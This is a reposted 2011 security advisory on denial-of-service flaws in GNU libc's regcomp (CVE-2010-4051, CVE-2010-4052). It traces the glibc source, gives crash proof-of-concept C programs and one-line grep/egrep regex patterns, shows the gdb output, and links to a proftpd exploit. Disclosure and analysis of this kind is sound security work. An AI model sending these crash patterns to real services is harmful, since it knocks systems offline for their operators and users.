扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 |
// source: http://securityreason.com/securityalert/8003 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [ GNU libc/regcomp(3) Multiple Vulnerabilities ] Author: Maksymilian Arciemowicz http://securityreason.com/ http://cxib.net/ Date: - - Dis.: 01.10.2010 - - Pub.: 07.01.2011 CERT: VU#912279 CVE: CVE-2010-4051 CVE-2010-4052 Affected (tested): - - Ubuntu 10.10 - - Slackware 13 - - Gentoo 18.10.2010 - - FreeBSD 8.1 (grep(1)) - - NetBSD 5.0.2 (grep(1)) Original URL: http://securityreason.com/achievement_securityalert/93 Exploit for proftpd: http://cxib.net/stuff/proftpd.gnu.c - --- 0.Description --- The GNU C library is used as the C library in the GNU system and most systems with the Linux kernel. # define RE_DUP_MAX (0x7fff) regcomp() is used to compile a regular expression into a form that is suitable for subsequent regexec() searches. - --- 1. RE_DUP_MAX overflow --- The main problem exists in regcomp(3) function of GNU libc implementation. Let<code>s try understand.. - --- int regcomp (preg, pattern, cflags) regex_t *__restrict preg; const char *__restrict pattern; int cflags; { - --- if we use '{', token type will be OP_OPEN_DUP_NUM. - --- /* This function parse repetition operators like "*", "+", "{1,3}" etc. */ static bin_tree_t * parse_dup_op (bin_tree_t *elem, re_string_t *regexp, re_dfa_t *dfa, re_token_t *token, reg_syntax_t syntax, reg_errcode_t *err) { bin_tree_t *tree = NULL, *old_tree = NULL; int i, start, end, start_idx = re_string_cur_idx (regexp); re_token_t start_token = *token; if (token->type == OP_OPEN_DUP_NUM) { end = 0; start = fetch_number (regexp, token, syntax); <===== CONVERT VALUE - --- let</code>s see fetch_number => - --- static int fetch_number (re_string_t *input, re_token_t *token, reg_syntax_t syntax) { int num = -1; unsigned char c; while (1) { fetch_token (token, input, syntax); c = token->opr.c; if (BE (token->type == END_OF_RE, 0)) return -2; if (token->type == OP_CLOSE_DUP_NUM || c == ',') break; num = ((token->type != CHARACTER || c < '0' || '9' < c || num == -2) ? -2 : ((num == -1) ? c - '0' : num * 10 + c - '0')); num = (num > RE_DUP_MAX) ? -2 : num; } return num; } - --- now see regex.h to know, what value have RE_DUP_MAX - --- /* Maximum number of duplicates an interval can allow. Some systems (erroneously) define this in other header files, but we want our value, so remove any previous define. */ # ifdef RE_DUP_MAX # undef RE_DUP_MAX # endif /* If sizeof(int) == 2, then ((1 << 15) - 1) overflows. */ # define RE_DUP_MAX (0x7fff) #endif - --- calc_eclosure_iter() will call to calc_eclosure_iter() match time. and crash in malloc(3). Simple Recursion. so we can't use value bigger 0x7fff in {n,}. regcomp(3) should return ERROR if we use more that one time '{' token. They are many vectors attack grep(1): cx@cx64:~$ ls |grep -E ".*{10,}{10,}{10,}{10,}{10,}" Segmentation fault pgrep(1): cx@cx64:~$ pgrep ".*{10,}{10,}{10,}{10,}{10,}" Segmentation fault bregex from bacula-director-common cx@cx64:~$ bregex -f glob-0day.c Enter regex pattern: .*{10,}{10,}{10,}{10,}{10,} Segmentation fault whatis(1): cx@cx64:~$ whatis -r ".*{10,}{10,}{10,}{10,}{10,}" Segmentation fault and more like proftpd. Simple crash for CVE-2010-4051 (gdb) x/i $rip => 0x7ffff7ad3ea2: mov %eax,0x50(%rsp) (gdb) x/i $eax 0x2: Cannot access memory at address 0x2 (gdb) x/i $rsp 0x7fffff5fef90: Cannot access memory at address 0x7fffff5fef90 (gdb) x/i 0x50($rsp) Cannot access memory at address 0x7fffff5fef08 #0 0x00007ffff7ad3ea2 in ?? () from /lib/libc.so.6 #1 0x00007ffff7ad538e in malloc () from /lib/libc.so.6 #2 0x00007ffff7b17d9b in ?? () from /lib/libc.so.6 #3 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #4 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #5 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #6 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 #7 0x00007ffff7b17f0b in ?? () from /lib/libc.so.6 ... - ---PoC1--- #include <regex.h> int main(){ regex_t preg; // char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052 char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; CVE-2010-4051 regcomp (&preg, fmt, REG_EXTENDED); return 0; } - ---PoC1--- - --- 2. Stack Exhausion --- This issue, may be also use to Denial of Service by stack exhausion #ls |grep -E ".*{10,}{10,}{111111,}" - ---PoC2--- #include <regex.h> int main () { regex_t preg; char fmt[]=".*{10,}{10,}{10,}{10,}"; // CVE-2010-4052 // char fmt[]=".*{10,}{10,}{10,}{10,}{10,}"; // CVE-2010-4051 regcomp (&preg, fmt, REG_EXTENDED); return 0; } - ---PoC2--- Such a pattern may lead to allocate a large memory area, or large execution time As we can read in vsftpd/HACKING - --- - do not use libc features that are "complicated" and may contain security holes. For example, you probably shouldn't try to use regcomp() to compile an untrusted regular expression. Regular expressions are just too complicated, and there are many different libc's out there. - --- That's true. But the worst implementation of lib C is GNU. There is a huge difference using proftpd on NetBSD and Linux - --- 3. Stack Exhausions --- Stack Exhausions was found in GNU glibc. - ---PoC3--- /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx - ---PoC3--- when more '+' that more allocated memory. But let's see next one - ---PoC4--- cx@cx64:~$ ulimit -m 100000 cx@cx64:~$ ulimit -v 200000 cx@cx64:~$ /bin/egrep "/(.*+++++++++++++++++++++++++++++(\w+))/im" cx Segmentation fault cx@cx64:~$ - ---PoC4--- the same command like in PoC 3, fails. (gdb) r "/(.*++++++++++++++++++(\w+))/im" cx Starting program: /bin/egrep "/(.*++++++++++++++++++(\w+))/im" cx /bin/egrep: Memory exhausted Add one "+" more Program exited with code 02. (gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx Program received signal SIGSEGV, Segmentation fault. __libc_free (mem=0x7ffff720a010) at malloc.c:3709 3709 if (chunk_is_mmapped(p)) /* release mmapped memory. */ (gdb) bt #0 __libc_free (mem=0x7ffff720a010) at malloc.c:3709 #1 0x00007ffff7913431 in free_dfa_content (dfa=0x61f0c0) at regcomp.c:600 #2 0x00007ffff7924e1c in re_compile_internal (preg=0x61f060, pattern=0x0, length=140737488347176, syntax=<value optimized out>) at regcomp.c:823 #3 0x00007ffff79256de in __re_compile_pattern (pattern=0x0, length=<value optimized out>, bufp=0x7ffff720a010) at regcomp.c:231 - ---malloc.c--- ... if (mem == 0) /* free(0) has no effect */ return; p = mem2chunk(mem); #if HAVE_MMAP if (chunk_is_mmapped(p)) ... - ---malloc.c--- where #define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ)) mem variable (mem=0x7ffff720a010) (gdb) x/x 0x7ffff720a010 0x7ffff720a010: 0x00 or (gdb) x/x 0x7ffff720a010 0x7ffff720a010: Cannot access memory at address 0x7ffff720a010 (gdb) x/i $rip => 0x7ffff78d2c2d <__libc_free+29>: mov -0x8(%rdi),%rsi (gdb) x/i $rdi 0x7ffff7ed3010: Cannot access memory at address 0x7ffff7ed3010 (gdb) x/i $rsi 0x0: Cannot access memory at address 0x0 or check this (gdb) r "/(.*+++++++++++++++++++(\w+))/im" cx The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /bin/egrep "/(.*+++++++++++++++++++(\w+))/im" cx Program received signal SIGSEGV, Segmentation fault. parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>, token=0x7fffffffe010, syntax=<value optimized out>, nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2547 2547 if (elem->token.type == SUBEXP) (gdb) x/i $rip => 0x7ffff7922644 <parse_expression+756>: cmpb $0x11,0x30(%r15) (gdb) x/i $r15 0x0: Cannot access memory at address 0x0 rax 0x0 0 rbx 0x61f0c0 6418624 rcx 0xffffffffffffffa8 -88 rdx 0x0 0 rsi 0x61f0c0 6418624 rdi 0x0 0 rbp 0x7fffffffe010 0x7fffffffe010 rsp 0x7fffffffdb70 0x7fffffffdb70 r8 0xffffffff 4294967295 r9 0x0 0 r10 0x4022 16418 r11 0x246 582 r12 0x7fffffffdf70 140737488346992 r13 0x4730ae8 74648296 r14 0xffffffff 4294967295 r15 0x0 0 rip 0x7ffff7922644 0x7ffff7922644 <parse_expression+756> #0 parse_dup_op (regexp=0x7fffffffdf70, preg=<value optimized out>, token=0x7fffffffe010, syntax=<value optimized out>, nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2547 #1 parse_expression (regexp=0x7fffffffdf70, preg=<value optimized out>, token=0x7fffffffe010, syntax=<value optimized out>, nest=<value optimized out>, err=<value optimized out>) at regcomp.c:2390 #2 0x00007ffff792387e in parse_branch (regexp=0x0, preg=0x61f0c0, token=0x0, syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2163 #3 parse_reg_exp (regexp=0x0, preg=0x61f0c0, token=0x0, syntax=18446744073709551528, nest=-1, err=0x0) at regcomp.c:2122 if (BE (start > 0, 0)) { tree = elem; for (i = 2; i <= start; ++i) { elem = duplicate_tree (elem, dfa); tree = create_tree (dfa, tree, elem, CONCAT); if (BE (elem == NULL || tree == NULL, 0)) goto parse_dup_op_espace; } if (start == end) return tree; /* Duplicate ELEM before it is marked optional. */ elem = duplicate_tree (elem, dfa); old_tree = tree; } else old_tree = NULL; if (elem->token.type == SUBEXP) <=CRASH HERE These vulnerabilities are not really dangerous. However, there is the possibility to use the DoS attack. An example might be an exploit for proftpd. Option 3 allows to exhaustion avaliable memory. In my opinion, the GNU should fix the problem. - --- 4. Exploit --- proftpd/linux: http://cxib.net/stuff/proftpd.gnu.c - --- 5. Greets --- Christos Zoulas, US-CERT, sp3x, Infospec - --- 6. Contact --- Author: SecurityReason.com [ Maksymilian Arciemowicz ] Email: - - cxib {a\./t] securityreason [d=t} com GPG: - - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg http://securityreason.com/ http://cxib.net/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (GNU/Linux) iQIcBAEBAgAGBQJNJk7rAAoJEIO8+dzW5bUwQ/YP/1G4nXltaUdMrdoUu39DM+WJ c3f+klSObS/1cDmzBOUte8ddiDdAVbU5yUvjkXkjWwMmxyPregxQxF85iUQ19UIP Pekvo5iuI2Uh5hpWQiTxxHiTqEsGeP9XzKz9uLxQPijicD6vjovg8MkS9xEdg6ID Q1KW+7tlWY7xgGXTqZux9Y4CsMXqIaWhZlIPJjXDIEipe6HzsKZ0UmRPGEuJGSOh 0tX8Om6PenFk8XOQSp20HMbK/W2qpc1hPAJ3/mrFO+uPF+8scpw413uhjwiSXOUj HUWE/iioFHRuX9eb2mwDuPKNe32OgLPRpcz1nITQVrOXTyfnwUtPrQeRu6h8Dpv7 RGQtD2GdKknDpkfbUcw0/EHMSbWaJdOWZfFdDAl+rEhS8AwPNK2NJb+7LJ6AQmsM VCrJPP5eM1XM9jsQT9tvhyOunvw/HMoH/k+GP34p+FiKDIYI1LF3Gxj/w53gUK3F nYLzmoahnqC4WdfUfZizf24PXmH+385JoStrpC4Emn1kuFrM9i/eXQ3xI9My0OXJ PFHmVCFx/4iXSi/YNcShZellwi60kFe2OvfJ8BYtG15H+xr0djznLhMqbr2YMisJ 066WWpfe1hTTJezLjbM8Sa9NnufXnEV+jWUocQ+dsSa2Tecn8DrsGor0Yd6UR6in s6+OIVFddtIZrQ6dw+Kk =kcIG -----END PGP SIGNATURE----- |
体验盒子
